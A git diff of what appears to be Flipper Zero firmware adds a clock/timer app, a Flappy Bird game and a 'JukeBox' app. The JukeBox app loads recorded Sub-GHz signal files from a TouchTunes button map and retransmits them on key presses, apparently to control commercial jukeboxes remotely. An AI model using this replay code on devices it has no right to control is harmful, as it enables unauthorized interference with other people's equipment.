b/applications/applications.mk index 4ae0a87ad..1e5a22cbb 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -40,6 +40,8 @@ APP_INFRARED = 1 APP_LF_RFID = 1 APP_NFC = 1 APP_SUBGHZ = 1 +APP_UNIVERSALRF = 1 +APP_JUKEBOX = 1 APP_ABOUT = 1 APP_PASSPORT = 1 APP_UPDATER = 1 @@ -48,7 +50,11 @@ APP_UPDATER = 1 APP_MUSIC_PLAYER = 1 APP_SNAKE_GAME = 1 APP_TETRIS_GAME = 1 +# APP_RAYCAST_GAME = 1 +APP_CLOCK = 1 APP_SPECTRUM_ANALYZER = 1 +APP_FLAPPY_GAME = 1 + # Debug APP_ACCESSOR = 1 @@ -106,6 +112,19 @@ SRV_GUI = 1 SRV_CLI = 1 endif +APP_UNIVERSALRF ?= 0 +ifeq ($(APP_UNIVERSALRF), 1) +CFLAGS += -DAPP_UNIVERSALRF +SRV_GUI = 1 +SRV_CLI = 1 +endif + +APP_JUKEBOX ?= 0 +ifeq ($(APP_JUKEBOX), 1) +CFLAGS += -DAPP_JUKEBOX +SRV_GUI = 1 +SRV_CLI = 1 +endif APP_ABOUT ?= 0 ifeq ($(APP_ABOUT), 1) @@ -230,21 +249,40 @@ CFLAGS += -DAPP_MUSIC_PLAYER SRV_GUI = 1 endif +APP_FLAPPY_GAME ?= 0 +ifeq ($(APP_FLAPPY_GAME), 1) +CFLAGS += -DAPP_FLAPPY_GAME +SRV_GUI = 1 +endif + APP_SNAKE_GAME ?= 0 ifeq ($(APP_SNAKE_GAME), 1) CFLAGS += -DAPP_SNAKE_GAME SRV_GUI = 1 endif +APP_SPECTRUM_ANALYZER ?= 0 +ifeq ($(APP_SPECTRUM_ANALYZER), 1) +CFLAGS += -DAPP_SPECTRUM_ANALYZER +SRV_GUI = 1 +endif + APP_TETRIS_GAME ?= 0 ifeq ($(APP_TETRIS_GAME), 1) CFLAGS += -DAPP_TETRIS_GAME SRV_GUI = 1 endif -APP_SPECTRUM_ANALYZER ?= 0 -ifeq ($(APP_SPECTRUM_ANALYZER), 1) -CFLAGS += -DAPP_SPECTRUM_ANALYZER +# APP_RAYCAST_GAME ?= 0 +# ifeq ($(APP_RAYCAST_GAME), 1) +# CFLAGS += -DAPP_RAYCAST_GAME +# SRV_GUI = 1 +# endif + + +APP_CLOCK ?= 0 +ifeq ($(APP_CLOCK), 1) +CFLAGS += -DAPP_CLOCK SRV_GUI = 1 endif diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c new file mode 100644 index 000000000..de4f3d0c0 --- /dev/null +++ b/applications/clock_app/clock_app.c @@ -0,0 +1,278 @@ +#include +#include +#include +#include +#include +#include +#include + +#define TAG "Clock" + +bool timerStarted=false; +int timerSecs=0; +int songSelect=0; + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} PluginEvent; + +typedef struct { + FuriHalRtcDateTime datetime; +} ClockState; + +static void clock_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { + furi_assert(event_queue); + PluginEvent event = {.type = EventTypeKey, .input = *input_event}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + +static void clock_render_callback(Canvas* const canvas, void* ctx) { + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + ClockState* state = (ClockState*)acquire_mutex((ValueMutex*)ctx, 25); + char strings[3][20]; + int curMin = (timerSecs/60); + int curSec = timerSecs-(curMin *60); + sprintf(strings[0], "%.4d-%.2d-%.2d", state->datetime.year, state->datetime.month, state->datetime.day); + sprintf(strings[1], "%.2d:%.2d:%.2d", state->datetime.hour, state->datetime.minute, state->datetime.second); + sprintf(strings[2], "%.2d:%.2d", curMin , curSec); + release_mutex((ValueMutex*)ctx, state); + canvas_set_font(canvas, FontBigNumbers); + canvas_draw_str_aligned(canvas, 64, 8, AlignCenter, AlignCenter, strings[1]); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 20, AlignCenter, AlignTop, strings[0]); + // elements_button_left(canvas, "Alarms"); + // elements_button_right(canvas, "Settings"); + // elements_button_center(canvas, "Reset"); + canvas_set_font(canvas, FontBigNumbers); + canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, strings[2]); + canvas_set_font(canvas, FontSecondary); + if(timerStarted) { + elements_button_center(canvas, "Stop"); + } else { + elements_button_center(canvas, "Start"); + } + if(songSelect==0) { + elements_button_right(canvas, "S:OFF"); + } else if(songSelect==1) { + elements_button_right(canvas, "S:PoRa"); + } else if(songSelect==2) { + elements_button_right(canvas, "S:Mario"); + } +} + +static void clock_state_init(ClockState* const state) { + furi_hal_rtc_get_datetime(&state->datetime); +} + +const NotificationSequence clock_alert_silent = { + &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, + &message_vibro_off, &message_display_backlight_off, &message_delay_50, &message_display_backlight_on, NULL, +}; +const NotificationSequence clock_alert_pr1 = { + &message_force_speaker_volume_setting_1f, + &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, + &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, + &message_vibro_off, &message_display_backlight_off, &message_delay_50, &message_display_backlight_on, + &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, NULL, +}; +const NotificationSequence clock_alert_pr2 = { + &message_force_speaker_volume_setting_1f, + &message_force_vibro_setting_on, &message_vibro_on, + &message_note_fs5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_display_backlight_off, &message_vibro_off, &message_delay_50, + &message_note_g5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_display_backlight_on, &message_delay_50, + &message_note_a5, &message_delay_100, &message_delay_100, &message_sound_off, NULL, +}; +const NotificationSequence clock_alert_pr3 = { + &message_force_speaker_volume_setting_1f, + &message_display_backlight_off, + &message_note_g5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_delay_50, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, &message_delay_100, NULL, +}; +const NotificationSequence clock_alert_mario1 = { + &message_force_speaker_volume_setting_1f, + &message_force_vibro_setting_on, &message_vibro_on, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, + &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, + &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, + &message_vibro_off, &message_display_backlight_off, &message_delay_100, &message_display_backlight_on, &message_delay_100, + &message_note_e5, &message_delay_100, &message_delay_100, &message_delay_50, &message_sound_off, NULL, +}; +const NotificationSequence clock_alert_mario2 = { + &message_force_speaker_volume_setting_1f, + &message_force_vibro_setting_on, &message_vibro_on, &message_display_backlight_off, &message_delay_100, &message_display_backlight_on, &message_delay_100, + &message_note_c5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_display_backlight_off, &message_vibro_off, &message_delay_50, + &message_note_e5, &message_delay_100, &message_delay_100, &message_sound_off, + &message_display_backlight_on, NULL, +}; +const NotificationSequence clock_alert_mario3 = { + &message_force_speaker_volume_setting_1f, + &message_display_backlight_off, + &message_note_g5, &message_delay_100, &message_delay_100, &message_delay_100, &message_delay_100, &message_sound_off, + &message_delay_50, &message_red_255, &message_green_255, &message_blue_255, &message_display_backlight_on, &message_delay_100, + &message_note_g4, &message_delay_100, &message_delay_100, &message_delay_100, &message_delay_100, &message_sound_off, + NULL, +}; +const NotificationSequence clock_alert_perMin = { + &message_force_speaker_volume_setting_1f, + &message_note_g5, &message_delay_100, &message_delay_50, &message_sound_off, + &message_delay_10, + &message_note_g4, &message_delay_50, &message_delay_10, &message_delay_10, &message_sound_off, + NULL, +}; +const NotificationSequence clock_alert_startStop = { + &message_force_speaker_volume_setting_1f, + &message_note_d6, &message_delay_100, &message_delay_10, &message_delay_10, &message_sound_off, NULL, +}; + +// Runs every 1000ms by default +static void clock_tick(void* ctx) { + furi_assert(ctx); + osMessageQueueId_t event_queue = ctx; + PluginEvent event = {.type = EventTypeTick}; + if(timerStarted) { + timerSecs=timerSecs+1; + if(timerSecs%60==0) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_perMin); + furi_record_close("notification"); + } + if(songSelect==1 ) { + if(timerSecs==80) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_pr1); + furi_record_close("notification"); + } + if(timerSecs==81) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_pr2); + furi_record_close("notification"); + } + if(timerSecs==82) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_pr3); + furi_record_close("notification"); + } + } else if(songSelect==2 ) { + if(timerSecs==80) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_mario1); + furi_record_close("notification"); + } + if(timerSecs==81) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_mario2); + furi_record_close("notification"); + } + if(timerSecs==82) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_mario3); + furi_record_close("notification"); + } + } else { + if(timerSecs==80) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_silent); + furi_record_close("notification"); + } + } + } + // It's OK to loose this event if system overloaded + osMessageQueuePut(event_queue, &event, 0, 0); +} + +int32_t clock_app(void* p) { + UNUSED(p); + timerStarted=false; + timerSecs=0; + songSelect=0; + osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(PluginEvent), NULL); + ClockState* plugin_state = malloc(sizeof(ClockState)); + clock_state_init(plugin_state); + ValueMutex state_mutex; + if (!init_mutex(&state_mutex, plugin_state, sizeof(ClockState))) { + FURI_LOG_E(TAG, "cannot create mutex\r\n"); + free(plugin_state); + return 255; + } + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, clock_render_callback, &state_mutex); + view_port_input_callback_set(view_port, clock_input_callback, event_queue); + osTimerId_t timer = osTimerNew(clock_tick, osTimerPeriodic, event_queue, NULL); + osTimerStart(timer, osKernelGetTickFreq()); + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + // Main loop + PluginEvent event; + for (bool processing = true; processing;) { + osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + ClockState* plugin_state = (ClockState*)acquire_mutex_block(&state_mutex); + if (event_status == osOK) { + // press events + if (event.type == EventTypeKey) { + if (event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) { + switch(event.input.key) { + case InputKeyUp: + if(timerStarted) timerSecs=timerSecs+5; + break; + case InputKeyDown: + if(timerStarted) timerSecs=timerSecs-5; + break; + case InputKeyRight: + if(songSelect==0) { + songSelect=1; + } else if(songSelect==1) { + songSelect=2; + } else { + songSelect=0; + } + break; + case InputKeyLeft: + break; + case InputKeyOk: + if(songSelect==1 || songSelect==2) { + NotificationApp* notification = furi_record_open("notification"); + notification_message(notification, &clock_alert_startStop); + furi_record_close("notification"); + } + if(timerStarted) { + timerStarted=false; + timerSecs=0; + } else { + timerStarted=true; + } + break; + case InputKeyBack: + // Exit the plugin + processing = false; + break; + } + } + } else if(event.type == EventTypeTick) { + furi_hal_rtc_get_datetime(&plugin_state->datetime); + } + } else { + FURI_LOG_D(TAG, "osMessageQueue: event timeout"); + // event timeout + } + view_port_update(view_port); + release_mutex(&state_mutex, plugin_state); + } + osTimerDelete(timer); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + return 0; +} diff --git a/applications/flappy_bird/bird.h b/applications/flappy_bird/bird.h new file mode 100644 index 000000000..339c8056a --- /dev/null +++ b/applications/flappy_bird/bird.h @@ -0,0 +1,54 @@ +#include + +uint8_t bird_array[3][15][11] = { + { + {0,0,0,0,0,0,1,1,0,0,0}, + {0,0,0,0,0,1,0,0,1,0,0}, + {0,0,0,0,0,1,0,0,0,1,0}, + {0,0,1,1,1,1,0,0,0,1,0}, + {0,1,0,0,0,1,0,0,0,1,0}, + {0,1,0,0,0,0,1,0,1,0,1}, + {1,0,0,0,0,0,0,1,0,0,1}, + {1,0,1,1,1,0,0,1,0,0,1}, + {1,1,0,0,0,0,1,0,1,0,1}, + {1,0,0,0,0,1,0,1,0,1,0}, + {1,0,0,0,0,1,0,1,0,1,0}, + {0,1,0,1,1,1,0,1,0,1,0}, + {0,0,1,0,0,1,0,1,0,1,0}, + {0,0,0,1,1,1,0,1,0,1,0}, + {0,0,0,0,0,0,1,1,1,0,0}, + }, { + {0,0,0,0,0,1,1,0,0,0,0}, + {0,0,0,0,1,0,0,1,0,0,0}, + {0,0,0,0,1,0,0,0,1,0,0}, + {0,0,1,1,1,0,0,0,1,0,0}, + {0,1,0,0,1,0,0,0,1,1,0}, + {0,1,0,0,0,1,0,1,0,0,1}, + {1,0,0,0,0,0,1,0,0,0,1}, + {1,0,1,1,1,0,0,1,0,0,1}, + {1,1,0,0,0,0,1,0,1,0,1}, + {1,0,0,0,0,1,0,1,0,1,0}, + {1,0,0,0,0,1,0,1,0,1,0}, + {0,1,0,1,1,1,0,1,0,1,0}, + {0,0,1,0,0,1,0,1,0,1,0}, + {0,0,0,1,1,1,0,1,0,1,0}, + {0,0,0,0,0,0,1,1,1,0,0}, + }, { + {0,0,0,0,1,1,0,0,0,0,0}, + {0,0,0,1,0,0,1,0,0,0,0}, + {0,0,0,1,0,0,0,1,1,0,0}, + {0,0,1,1,0,0,0,1,0,1,0}, + {0,1,0,1,0,0,0,1,0,1,0}, + {0,1,0,0,1,0,1,0,0,0,1}, + {1,0,0,0,0,1,0,0,0,0,1}, + {1,0,1,1,1,0,0,1,0,0,1}, + {1,1,0,0,0,0,1,0,1,0,1}, + {1,0,0,0,0,1,0,1,0,1,0}, + {1,0,0,0,0,1,0,1,0,1,0}, + {0,1,0,1,1,1,0,1,0,1,0}, + {0,0,1,0,0,1,0,1,0,1,0}, + {0,0,0,1,1,1,0,1,0,1,0}, + {0,0,0,0,0,0,1,1,1,0,0}, + } +}; + \ No newline at end of file diff --git a/applications/flappy_bird/flappy_bird.c b/applications/flappy_bird/flappy_bird.c new file mode 100644 index 000000000..602ccc851 --- /dev/null +++ b/applications/flappy_bird/flappy_bird.c @@ -0,0 +1,256 @@ +#include +#include +#include +#include + +#include "bird.h" + +#define TAG "Flappy" + +#define FLAPPY_BIRD_HEIGHT 15 +#define FLAPPY_BIRD_WIDTH 10 + +#define FLAPPY_PILAR_MAX 6 +#define FLAPPY_PILAR_DIST 45 + +#define FLAPPY_GAB_HEIGHT 25 +#define FLAPPY_GAB_WIDTH 5 + +#define FLAPPY_GRAVITY_JUMP -1.1 +#define FLAPPY_GRAVITY_TICK 0.10 + +#define FLIPPER_LCD_WIDTH 128 +#define FLIPPER_LCD_HEIGHT 64 + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + int x; + int y; +} POINT; + +typedef struct { + float gravity; + POINT point; +}BIRD; + +typedef struct { + POINT point; + int height; + int visible; + int passed; +} PILAR; + +typedef struct { + BIRD bird; + + int points; + int pilars_count; + PILAR pilars[FLAPPY_PILAR_MAX]; +} GameState; + +typedef struct { + EventType type; + InputEvent input; +} GameEvent; + +typedef enum { + DirectionUp, + DirectionRight, + DirectionDown, + DirectionLeft, +} Direction; + +static void flappy_game_random_pilar(GameState* const game_state) { + PILAR pilar; + + pilar.visible = 1; + pilar.height = random() % (FLIPPER_LCD_HEIGHT - FLAPPY_GAB_HEIGHT) + 1; + pilar.point.y = 0; + pilar.point.x = FLIPPER_LCD_WIDTH + FLAPPY_GAB_WIDTH + 1; + + game_state->pilars_count++; + game_state->pilars[game_state->pilars_count % FLAPPY_PILAR_MAX] = pilar; +} + +static void flappy_game_tick(GameState* const game_state) { + game_state->bird.gravity += FLAPPY_GRAVITY_TICK; + game_state->bird.point.y += game_state->bird.gravity; + + // Checking the location of the last respawned pilar. + PILAR * pilar = &game_state->pilars[game_state->pilars_count % FLAPPY_PILAR_MAX]; + if (pilar->point.x == (FLIPPER_LCD_WIDTH - FLAPPY_PILAR_DIST)) + flappy_game_random_pilar(game_state); + + // Updating the position/status of the pilars (visiblity, posotion, game points) + for (int i = 0; i < FLAPPY_PILAR_MAX; i++) { + PILAR * pilar = &game_state->pilars[i]; + pilar->point.x--; + + if (pilar != NULL && pilar->visible && pilar->point.x > 0) { + if (game_state->bird.point.x >= pilar->point.x + FLAPPY_GAB_WIDTH && + pilar->passed == 0) { + pilar->passed = 1; + game_state->points++; + } + if (pilar->point.x < -FLAPPY_PILAR_DIST) + pilar->visible = 0; + } + } +} + +static void flappy_game_flap(GameState* const game_state) { + game_state->bird.gravity = FLAPPY_GRAVITY_JUMP; +} + +static void flappy_game_state_init(GameState* const game_state) { + BIRD bird; + bird.gravity = 0.0f; + bird.point.x = 5; + bird.point.y = 32; + + game_state->bird = bird; + game_state->pilars_count = 0; + memset(game_state->pilars, 0, sizeof(game_state->pilars)); + + flappy_game_random_pilar(game_state); +} + +static void flappy_game_render_callback(Canvas* const canvas, void* ctx) { + const GameState* game_state = acquire_mutex((ValueMutex*)ctx, 25); + if(game_state == NULL) { + return; + } + + canvas_draw_frame(canvas, 0, 0, 128, 64); + + // Pilars + for (int i = 0; i < FLAPPY_PILAR_MAX; i++) { + const PILAR * pilar = &game_state->pilars[i]; + if (pilar != NULL && pilar->visible) { + canvas_draw_dot(canvas, pilar->point.x, pilar->point.y + 10); + canvas_draw_frame(canvas, pilar->point.x, pilar->point.y, + FLAPPY_GAB_WIDTH, pilar->height); + + canvas_draw_frame(canvas, pilar->point.x, pilar->point.y + pilar->height + FLAPPY_GAB_HEIGHT, + FLAPPY_GAB_WIDTH, FLIPPER_LCD_HEIGHT - pilar->height - FLAPPY_GAB_HEIGHT); + } + } + + // Flappy + for (int h = 0; h < FLAPPY_BIRD_HEIGHT; h++) { + for (int w = 0; w < FLAPPY_BIRD_WIDTH; w++) { + // Switch animation + int bird = 0; + if (game_state->bird.gravity < -0.5) + bird = 1; + else + bird = 2; + + // Draw bird pixels + if (bird_array[bird][h][w] == 1) { + int x = game_state->bird.point.x + h; + int y = game_state->bird.point.y + w; + + canvas_draw_dot(canvas, x, y); + } + } + } + + release_mutex((ValueMutex*)ctx, game_state); +} + + +static void flappy_game_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + GameEvent event = {.type = EventTypeKey, .input = *input_event}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + +static void flappy_game_update_timer_callback(osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + GameEvent event = {.type = EventTypeTick}; + osMessageQueuePut(event_queue, &event, 0, 0); +} + +int32_t flappy_game_app(void* p) { + osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(GameEvent), NULL); + + GameState* game_state = malloc(sizeof(GameState)); + flappy_game_state_init(game_state); + + ValueMutex state_mutex; + if (!init_mutex(&state_mutex, game_state, sizeof(GameState))) { + FURI_LOG_E(TAG, "cannot create mutex\r\n"); + free(game_state); + return 255; + } + + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, flappy_game_render_callback, &state_mutex); + view_port_input_callback_set(view_port, flappy_game_input_callback, event_queue); + + osTimerId_t timer = + osTimerNew(flappy_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); + osTimerStart(timer, osKernelGetTickFreq() / 22); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + GameEvent event; + for(bool processing = true; processing;) { + osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + GameState* game_state = (GameState*)acquire_mutex_block(&state_mutex); + + if(event_status == osOK) { + // press events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress) { + switch(event.input.key) { + case InputKeyUp: + game_state->bird.point.y--; + break; + case InputKeyDown: + game_state->bird.point.y++; + break; + case InputKeyRight: + game_state->bird.point.x++; + break; + case InputKeyLeft: + game_state->bird.point.x--; + break; + case InputKeyOk: + flappy_game_flap(game_state); + break; + case InputKeyBack: + processing = false; + break; + } + } + } else if(event.type == EventTypeTick) { + flappy_game_tick(game_state); + } + } else { + FURI_LOG_D(TAG, "osMessageQueue: event timeout"); + // event timeout + } + + view_port_update(view_port); + release_mutex(&state_mutex, game_state); + } + + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + + return 0; +} \ No newline at end of file diff --git a/applications/jukebox/jukebox.c b/applications/jukebox/jukebox.c new file mode 100644 index 000000000..17bfa89d6 --- /dev/null +++ b/applications/jukebox/jukebox.c @@ -0,0 +1,303 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TAG "JukeBox" + +typedef struct { + bool press[5]; +} RemoteAppState; + +static void jukebox_reset_state(RemoteAppState* state) { + state->press[0] = 0; + state->press[1] = 0; + state->press[2] = 0; + state->press[3] = 0; + state->press[4] = 0; +} +static string_t up_file; +static string_t down_file; +static string_t left_file; +static string_t right_file; +static string_t ok_file; + +static char* subString(char* someString, int n) { + char* new = malloc(sizeof(char) * n + 1); + strncpy(new, someString, n); + new[n] = '\0'; + return new; +} + +static char* file_stub(const char* file_name) { + string_t filename; + string_init(filename); + // string_init(file_name); + path_extract_filename_no_ext(file_name, filename); + + return subString((char*)string_get_cstr(filename), 8); +} + +static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t protocol) { + uint32_t repeat = 1; + frequency = frequency ? frequency : 433920000; + FURI_LOG_D(TAG, "file to send: %s", string_get_cstr(signal)); + + if(strlen(string_get_cstr(signal)) < 10) { + return; + } + + string_t flipper_format_string; + if(strcmp(string_get_cstr(protocol), "RAW") == 0) { + string_init_printf(flipper_format_string, "File_name: %s", string_get_cstr(signal)); + } else { + return; + } + + FlipperFormat* flipper_format = flipper_format_string_alloc(); + Stream* stream = flipper_format_get_raw_stream(flipper_format); + stream_clean(stream); + stream_write_cstring(stream, string_get_cstr(flipper_format_string)); + + SubGhzEnvironment* environment = subghz_environment_alloc(); + + SubGhzTransmitter* transmitter = + subghz_transmitter_alloc_init(environment, string_get_cstr(protocol)); + subghz_transmitter_deserialize(transmitter, flipper_format); + + furi_hal_subghz_reset(); + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok270Async); + furi_hal_subghz_set_frequency_and_path(frequency); + FURI_LOG_D( + TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); + + furi_hal_power_suppress_charge_enter(); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); + + while(!(furi_hal_subghz_is_async_tx_complete())) { + FURI_LOG_D(TAG, "."); + fflush(stdout); + osDelay(333); + } + furi_hal_subghz_stop_async_tx(); + furi_hal_subghz_sleep(); + + furi_hal_power_suppress_charge_exit(); + + flipper_format_free(flipper_format); + subghz_transmitter_free(transmitter); + subghz_environment_free(environment); +} + +static void jukebox_render_callback(Canvas* canvas, void* ctx) { + RemoteAppState* state = (RemoteAppState*)acquire_mutex((ValueMutex*)ctx, 25); + canvas_clear(canvas); + char strings[5][20]; + string_t signal; + string_init(signal); + sprintf(strings[0], "Ok: %s", file_stub(string_get_cstr(ok_file))); + sprintf(strings[1], "L: %s", file_stub(string_get_cstr(left_file))); + sprintf(strings[2], "R: %s", file_stub(string_get_cstr(right_file))); + sprintf(strings[3], "U: %s", file_stub(string_get_cstr(up_file))); + sprintf(strings[4], "D: %s", file_stub(string_get_cstr(down_file))); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 0, 10, "Univeral Remote"); + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0, 24, strings[1]); + canvas_draw_str(canvas, 85, 24, strings[2]); + canvas_draw_str(canvas, 0, 36, strings[3]); + canvas_draw_str(canvas, 85, 36, strings[4]); + canvas_draw_str(canvas, 0, 48, strings[0]); + // canvas_draw_circle(canvas, 100, 26, 25); + + if(state->press[0]) { + string_cat_printf(signal, "%s", string_get_cstr(right_file)); + } + + else if(state->press[1]) { + string_cat_printf(signal, "%s", string_get_cstr(left_file)); + + } else if(state->press[2]) { + string_cat_printf(signal, "%s", string_get_cstr(up_file)); + + } else if(state->press[3]) { + string_cat_printf(signal, "%s", string_get_cstr(down_file)); + + } + + else if(state->press[4]) { + string_cat_printf(signal, "%s", string_get_cstr(ok_file)); + } + FURI_LOG_D(TAG, "signal = %s", string_get_cstr(signal)); + + if(strlen(string_get_cstr(signal)) > 12) { + string_t file_name; + string_init(file_name); + string_t protocol; + string_init(protocol); + string_set(file_name, string_get_cstr(signal)); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + uint32_t frequency_str; + flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name)); + flipper_format_read_uint32(fff_data_file, "Frequency", (uint32_t*)&frequency_str, 1); + if(!flipper_format_read_string(fff_data_file, "Protocol", protocol)) { + FURI_LOG_D(TAG, "Could not read Protocol"); + string_set(protocol, "RAW"); + } + flipper_format_free(fff_data_file); + furi_record_close("storage"); + FURI_LOG_D(TAG, "%lu", frequency_str); + jukebox_send_signal(frequency_str, signal, protocol); + } + + canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); + + release_mutex((ValueMutex*)ctx, state); +} + +static void jukebox_input_callback(InputEvent* input_event, void* ctx) { + osMessageQueueId_t event_queue = ctx; + osMessageQueuePut(event_queue, input_event, 0, osWaitForever); +} + +int32_t jukebox_app(void* p) { + UNUSED(p); + osMessageQueueId_t event_queue = osMessageQueueNew(32, sizeof(InputEvent), NULL); + furi_check(event_queue); + string_init(up_file); + string_init(down_file); + string_init(left_file); + string_init(right_file); + string_init(ok_file); + + string_t file_name; + string_init(file_name); + string_set(file_name, "/ext/subghz/assets/touchtunes_map"); + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + FURI_LOG_D(TAG, "Could not open file %s", string_get_cstr(file_name)); + } + + if(!flipper_format_read_string(fff_data_file, "UP", up_file)) { + FURI_LOG_D(TAG, "Could not read UP string"); + } + if(!flipper_format_read_string(fff_data_file, "DOWN", down_file)) { + FURI_LOG_D(TAG, "Could not read DOWN string"); + } + if(!flipper_format_read_string(fff_data_file, "LEFT", left_file)) { + FURI_LOG_D(TAG, "Could not read LEFT string"); + } + if(!flipper_format_read_string(fff_data_file, "RIGHT", right_file)) { + FURI_LOG_D(TAG, "Could not read RIGHT string"); + } + if(!flipper_format_read_string(fff_data_file, "OK", ok_file)) { + FURI_LOG_D(TAG, "Could not read OK string"); + } + flipper_format_free(fff_data_file); + furi_record_close("storage"); + FURI_LOG_I( + TAG, + "%s %s %s %s %s ", + string_get_cstr(up_file), + string_get_cstr(down_file), + string_get_cstr(left_file), + string_get_cstr(right_file), + string_get_cstr(ok_file)); + + RemoteAppState _state = {{false, false, false, false, false}}; + + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { + FURI_LOG_D(TAG, "cannot create mutex"); + return 0; + } + + ViewPort* view_port = view_port_alloc(); + + view_port_draw_callback_set(view_port, jukebox_render_callback, &state_mutex); + view_port_input_callback_set(view_port, jukebox_input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + InputEvent event; + while(osMessageQueueGet(event_queue, &event, NULL, osWaitForever) == osOK) { + RemoteAppState* state = (RemoteAppState*)acquire_mutex_block(&state_mutex); + FURI_LOG_D( + TAG, + "key: %s type: %s", + input_get_key_name(event.key), + input_get_type_name(event.type)); + + if(event.key == InputKeyRight) { + if(event.type == InputTypePress) { + state->press[0] = true; + } else if(event.type == InputTypeRelease) { + state->press[0] = false; + } else if(event.type == InputTypeShort) { + state->press[0] = false; + } + } else if(event.key == InputKeyLeft) { + if(event.type == InputTypePress) { + state->press[1] = true; + } else if(event.type == InputTypeRelease) { + state->press[1] = false; + } else if(event.type == InputTypeShort) { + state->press[1] = false; + } + } else if(event.key == InputKeyUp) { + if(event.type == InputTypePress) { + state->press[2] = true; + } else if(event.type == InputTypeRelease) { + state->press[2] = false; + } else if(event.type == InputTypeShort) { + state->press[2] = false; + } + } else if(event.key == InputKeyDown) { + if(event.type == InputTypePress) { + state->press[3] = true; + } else if(event.type == InputTypeRelease) { + state->press[3] = false; + } else if(event.type == InputTypeShort) { + state->press[3] = false; + } + } else if(event.key == InputKeyOk) { + if(event.type == InputTypePress) { + state->press[4] = true; + } else if(event.type == InputTypeRelease) { + state->press[4] = false; + } else if(event.type == InputTypeShort) { + state->press[4] = false; + } + } else if(event.key == InputKeyBack) { + if(event.type == InputTypeLong) { + release_mutex(&state_mutex, state); + break; + } else if(event.type == InputTypeShort) { + jukebox_reset_state(state); + } + } + release_mutex(&state_mutex, state); + view_port_update(view_port); + } + + // remove & free all stuff created by app + gui_remove_view_port(gui, view_port); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + delete_mutex(&state_mutex); + + furi_record_close("gui"); + + return 0; +} \ No newline at end of file diff --git a/applications/notification/notification_settings_app.c b/applications/notification/notification_settings_app.c index bcb1b6a27..8254473fe 100644 --- a/applications/notification/notification_settings_app.c +++ b/applications/notification/notification_settings_app.c @@ -46,16 +46,17 @@ const char* const volume_text[VOLUME_COUNT] = { }; const float volume_value[VOLUME_COUNT] = {0.0f, 0.25f, 